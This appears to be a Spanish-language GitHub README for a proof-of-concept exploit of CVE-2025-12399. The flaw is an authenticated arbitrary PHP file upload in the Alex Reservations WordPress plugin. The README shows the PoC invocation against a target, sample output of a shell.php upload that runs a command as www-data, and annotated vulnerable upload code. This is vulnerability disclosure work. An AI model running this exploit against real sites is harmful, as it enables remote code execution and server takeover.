d0n601/cve-2025-12399Alex Reservations: Reserva Inteligente de Restaurante <= 2.2.3 - Autenticado (Admin+) Subida de Archivos Arbitraria
Alex Reservations: Smart Restaurant Booking <= 2.2.3 - Carga arbitraria de archivos autenticada (Admin+)
El complemento Alex Reservations de WordPress (versiones 2.2.3 y anteriores) contiene una vulnerabilidad de carga arbitraria de archivos que permite a administradores autenticados de WordPress subir archivos PHP maliciosos al servidor, lo que potencialmente conduce a la ejecución remota de código.
Se proporciona un PoC CVE-2025-12399.py para demostrar cómo un atacante remoto sube shell.php y ejecuta código remoto:
python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
La vulnerabilidad existe en el archivo UploadFileController.php en el endpoint . La funcionalidad de carga carece de una validación adecuada de archivos y solo realiza una sanitización básica del nombre de archivo mediante un patrón regex. Esto permite a los administradores autenticados de WordPress subir archivos arbitrarios, incluidos archivos PHP que pueden ejecutarse en el servidor.
/wp-json/srr/v1/app/upload/fileOrigen: Entrada del usuario desde $_FILES['file'] (línea 13)
Sumidero: copy($file['tmp_name'], $target_dir_file) (línea 38)
La vulnerabilidad se produce porque:
routes.php.UploadFileController extiende la clase base Controller.$_FILES['file'] se procesan directamente sin validación.preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name) (línea 50)wp-content/uploads/alexr-uploads/YYYY/MM/ sin validación del tipo MIME ni restricciones de extensión de archivo.public function upload(Request $request)
{
$file = $_FILES['file']; // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
// Target dir / url
$upload_dir = wp_upload_dir();
$date = evavel_date_now()->format('Y/m');
$base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
$base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
if (!file_exists($base_dir)) {
$folder_created = wp_mkdir_p($base_dir);
if (!$folder_created) {
return $this->response([
'success' => false,
'error' => __eva('Error creating folder.')
]);
}
}
$file_name = $file['name'];
$file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name); // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))
$target_dir_file = $base_dir.'/'.$file_name;
$target_url_file = $base_url.'/'.$file_name;
$result = copy($file['tmp_name'], $target_dir_file); // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))
if (!$result) {
return $this->response([
'success' => false,
'error' => __eva('Error saving file.')
]);
}
return $this->response([
'success' => true,
'file_path' => $target_dir_file,
'file_url' => $target_url_file,
'message' => __eva('Uploaded.')
]);
}